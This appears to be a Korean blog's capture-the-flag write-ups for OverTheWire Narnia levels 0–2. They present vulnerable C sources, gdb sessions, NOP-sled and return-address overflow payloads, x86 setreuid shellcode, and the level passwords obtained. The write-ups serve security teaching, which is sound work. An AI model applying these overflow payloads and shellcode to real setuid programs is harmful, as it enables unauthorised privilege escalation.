OverTheWire – Narnia Level 1  (0) 2014.12.31
OverTheWire – Narnia Level 0  (0) 2014.12.31

#narnia2.c

#include <stdio.h>

#include <string.h> #include <stdlib.h> int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; }


이번 문제는 Return Address를 덮어쓰는 Buffer Overflow 문제이다. 먼저 Return Address의 상대적인 위치를 알아보기 위해 4바이트씩 증가해가며 상대적인 주소를 찾는다.


narnia2@melinda:/narnia$ gdb ./narnia2 -q

Reading symbols from ./narnia2...(no debugging symbols found)...done.

(gdb)

(gdb) r $(python -c "print '\x90'*128")

Starting program: /games/narnia/narnia2 $(python -c "print '\x90'*128")

[Inferior 1 (process 19697) exited normally]

(gdb) r $(python -c "print '\x90'*132")

Starting program: /games/narnia/narnia2 $(python -c "print '\x90'*132")

[Inferior 1 (process 19713) exited normally]

(gdb) r $(python -c "print '\x90'*138")

Starting program: /games/narnia/narnia2 $(python -c "print '\x90'*138")

[Inferior 1 (process 19747) exited normally]

(gdb) r $(python -c "print '\x90'*142")

Starting program: /games/narnia/narnia2 $(python -c "print '\x90'*142")


Program received signal SIGSEGV, Segmentation fault.

0xf7009090 in ?? ()

(gdb) r $(python -c "print '\x90'*140")

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c "print '\x90'*140")


Program received signal SIGSEGV, Segmentation fault.

0xf7e3ba00 in __libc_start_main () from /lib32/libc.so.6


아래를 보면 return address의 일부가 문자열의 끝을 나타내는 Null 문자로 덮어씌워져 있다. 그리고 여기서의 gdb q 옵션은 단순히 gdb의 copyright나 설명문들을 무시하는 옵션이다.


그럼 이제 return address의 상대적인 주소값을 찾아냈으니 쉘코드를 삽입할 공간을 찾는다.

그러기 위해선 먼저 쉘코드의 길이를 알아야한다.

python의 len 함수를 이용해 쉘코드의 길이를 찾아낸다.


narnia2@melinda:/narnia$

narnia2@melinda:/narnia$ python -c "print len('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e')"

54


자 이제 쉘코드의 길이도 알았으니, 쉘코드를 프로그램의 buf에 넣어보도록 하자.


(gdb) r $(python -c "print '\x90'*(140-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'")

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /games/narnia/narnia2 $(python -c "print '\x90'*(140-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'")


Program received signal SIGSEGV, Segmentation fault.

0xf7e3ba00 in __libc_start_main () from /lib32/libc.so.6

(gdb) x/300x $esp

0xffffd650:     0x00000002      0xffffd6e4      0xffffd6f0      0xf7feacea

0xffffd660:     0x00000002      0xffffd6e4      0xffffd684      0x08049768

0xffffd670:     0x0804821c      0xf7fca000      0x00000000      0x00000000

0xffffd680:     0x00000000      0x5d87c64a      0x655f225a      0x00000000

0xffffd690:     0x00000000      0x00000000      0x00000002      0x08048360

0xffffd6a0:     0x00000000      0xf7ff0500      0xf7e3b979      0xf7ffd000

0xffffd6b0:     0x00000002      0x08048360      0x00000000      0x08048381

0xffffd6c0:     0x0804845d      0x00000002      0xffffd6e4      0x080484d0

0xffffd6d0:     0x08048540      0xf7feb180      0xffffd6dc      0x0000001c

0xffffd6e0:     0x00000002      0xffffd81d      0xffffd833      0x00000000

0xffffd6f0:     0xffffd8c0      0xffffd8d5      0xffffd8e5      0xffffd8f0

0xffffd700:     0xffffd913      0xffffd927      0xffffd930      0xffffd93d

0xffffd710:     0xffffde5e      0xffffde69      0xffffde75      0xffffded3

0xffffd720:     0xffffdeea      0xffffdef9      0xffffdf05      0xffffdf16

0xffffd730:     0xffffdf1f      0xffffdf32      0xffffdf3a      0xffffdf4a

0xffffd740:     0xffffdf80      0xffffdfa0      0xffffdfc0      0x00000000

0xffffd750:     0x00000020      0xf7fd9b80      0x00000021      0xf7fd9000

0xffffd760:     0x00000010      0x1f898b75      0x00000006      0x00001000

0xffffd770:     0x00000011      0x00000064      0x00000003      0x08048034

0xffffd780:     0x00000004      0x00000020      0x00000005      0x00000008

0xffffd790:     0x00000007      0xf7fdc000      0x00000008      0x00000000

0xffffd7a0:     0x00000009      0x08048360      0x0000000b      0x000036b2

0xffffd7b0:     0x0000000c      0x000036b2      0x0000000d      0x000036b2

0xffffd7c0:     0x0000000e      0x000036b2      0x00000017      0x00000000

0xffffd7d0:     0x00000019      0xffffd7fb      0x0000001f      0xffffdfe2

0xffffd7e0:     0x0000000f      0xffffd80b      0x00000000      0x00000000

0xffffd7f0:     0x00000000      0x00000000      0xcc000000      0xb32b4de5

0xffffd800:     0x90dad115      0x5b96d2f8      0x69c31832      0x00363836

0xffffd810:     0x00000000      0x00000000      0x00000000      0x61672f00

0xffffd820:     0x2f73656d      0x6e72616e      0x6e2f6169      0x696e7261

0xffffd830:     0x90003261      0x90909090      0x90909090      0x90909090

0xffffd840:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd850:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd860:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd870:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd880:     0x90909090      0x90909090      0xb0c03190      0x31db3146

0xffffd890:     0xeb80cdc9      0xc0315b16      0x890f4388      0x4389105b

0xffffd8a0:     0x8d0bb014      0x538d104b      0xe880cd14      0xffffffe5

0xffffd8b0:     0x7273752f      0x6e69622f      0x7479702f      0x006e6f68

0xffffd8c0:     0x5f474458      0x53534553      0x5f4e4f49      0x373d4449

0xffffd8d0:     0x33373234      0x45485300      0x2f3d4c4c      0x2f6e6962

0xffffd8e0:     0x68736162      0x52455400      0x74783d4d      0x006d7265

(gdb) r $(python -c "print '\x90'*(140-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'+'\x60\xd8\xff\xff'")

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /games/narnia/narnia2 $(python -c "print '\x90'*(140-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'+'\x60\xd8\xff\xff'")

process 8837 is executing new program: /usr/bin/python2.7

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Python 2.7.6 (default, Mar 22 2014, 22:59:56)

[GCC 4.8.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> quit()

[Inferior 1 (process 18679) exited normally]

(gdb) quit

narnia2@melinda:/narnia$


여기에서 굳이 "\x90"으로 하는 이유는 NOP Slide라고 NOP가 있으면 해당 NOP가 있는 범위에서는 뒤의 명령어가 나올때까지 쭉 미끄러져 내려가 원하는 명령어를 쉽게 실행하도록 위함이다.

이렇게 Python이 실행되면 exploit이 제대로 수행이 된 것이 맞다. 하지만 gdb에서는 권한상승이 되지 않으니 gdb를 종료하고 쉘에서 프로그램을 실행하도록 하자.


narnia2@melinda:/narnia$ ./narnia2 $(python -c "print '\x90'*(140-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'+'\x60\xd8\xff\xff'")

Python 2.7.6 (default, Mar 22 2014, 22:59:56)

[GCC 4.8.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> import os

>>> os.system("whoami")

narnia3

0

>>> os.system("cat /etc/narnia_pass/narnia3")

vaequeezee

0

>>>


'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
OverTheWire – Narnia Level 3  (0) 2015.01.01
OverTheWire – Narnia Level 2  (0) 2015.01.01
OverTheWire – Narnia Level 1  (0) 2014.12.31
OverTheWire – Narnia Level 0  (0) 2014.12.31

#narnia1.c

#include <stdio.h>

int main(){
        int (*ret)();

        if(getenv("EGG")==NULL){
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        ret = getenv("EGG");
        ret();

        return 0;
}


소스를 보면 환경변수의 EGG를 불러와서 환경변수를 실행하는 것을 볼 수 있다.

그렇다는 것은 환경변수에 쉘코드를 넣게 되면 권한이 상승된 상태로 쉘을 획득할 수 있다는 말이 된다.


쉘코드는 http://shell-storm.org/shellcode/에서 쉽게 구할 수 있다.

필자는 Intel x86의 Linux/x86 - setreuid() + exec /usr/bin/python - 54 bytes를 사용하도록 하겠다.


narnia1@melinda:/narnia$ ./narnia1

Give me something to execute at the env-variable EGG

narnia1@melinda:/narnia$ export EGG=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e"')

narnia1@melinda:/narnia$ ./narnia1

Trying to execute EGG!

Python 2.7.6 (default, Mar 22 2014, 22:59:56)

[GCC 4.8.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> import os

>>> os.system("cat /etc/narnia_pass/narnia2")

nairiepecu

0

>>>


'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
OverTheWire – Narnia Level 3  (0) 2015.01.01
OverTheWire – Narnia Level 2  (0) 2015.01.01
OverTheWire – Narnia Level 1  (0) 2014.12.31
OverTheWire – Narnia Level 0  (0) 2014.12.31

#narnia0.c

#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef)
                system("/bin/sh");
        else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

소스를 보면 long형의 변수 val과 char형의 buf[20]을 선언하고 있다. 이것을 보기 쉽게 표현하자면, 

char buf[20] 

long val 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 A

A

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 41

41

41 

41


위와 같이 표현할 수 있다.


narnia0@melinda:/narnia$ python -c "print 'B'*20" | ./narnia0

Correct val's value from 0x41414141 -> 0xdeadbeef!

Here is your chance: buf: BBBBBBBBBBBBBBBBBBBB

val: 0x41414100

WAY OFF!!!!


이렇게 명령어를 치고 실행하게 되면, 

char buf[20] 

long val 

 B

Nul

A

 42

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

00

41

41

41


이렇게 문자열의 끝을 나타내는 Null 문자가 char의 가장 뒷부분에 오게 되면서 val 변수를 덮어쓰게 된다.


narnia0@melinda:/narnia$ python -c "print 'B'*20+'\xef\xbe\xad\xde'" | ./narnia0

Correct val's value from 0x41414141 -> 0xdeadbeef!

Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBï¾­Þ

val: 0xdeadbeef

narnia0@melinda:/narnia$ (python -c "print 'B'*20+'\xef\xbe\xad\xde'";cat) | ./narnia0

Correct val's value from 0x41414141 -> 0xdeadbeef!

Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBï¾­Þ

val: 0xdeadbeef

whoami

narnia1

cat /etc/narnia_pass/narnia1

efeidiedae


char buf[20] 

long val 

 B

?

?

 42

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

42 

ef

be

ad

de


이렇게 val 변수 전체를 덮어 쓸 수도 있다. 여기서 문자를 1바이트씩 끊어서 거꾸로 표현한 이유는 CPU가 리틀엔디안[각주:1] 방식이라서 CPU가 변수를 읽어들일땐 1바이트씩 끊어서 거꾸로 읽기 때문에 결론적으로 정상적인 단어로 읽어들이기 때문이다.


문제에서는 val 변수가 0xdeadbeef가 되면 narnia1 권한으로 /bin/sh를 실행하도록 되어있고 SetUID[각주:2]가 설정되어있으니, 이렇게 해결하게 되면 권한이 상승된 상태로 /bin/sh가 열리게 된다.


  1. 낮은(시작) 주소에 하위 바이트부터 기록, Intel CPU 계열 [본문으로]
  2. 임시적으로 사용자의 권한을 바꿔줄수 있는 룰을 파일에 적용시켜주는 것 [본문으로]

'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
OverTheWire – Narnia Level 3  (0) 2015.01.01
OverTheWire – Narnia Level 2  (0) 2015.01.01
OverTheWire – Narnia Level 1  (0) 2014.12.31
OverTheWire – Narnia Level 0  (0) 2014.12.31

+ Recent posts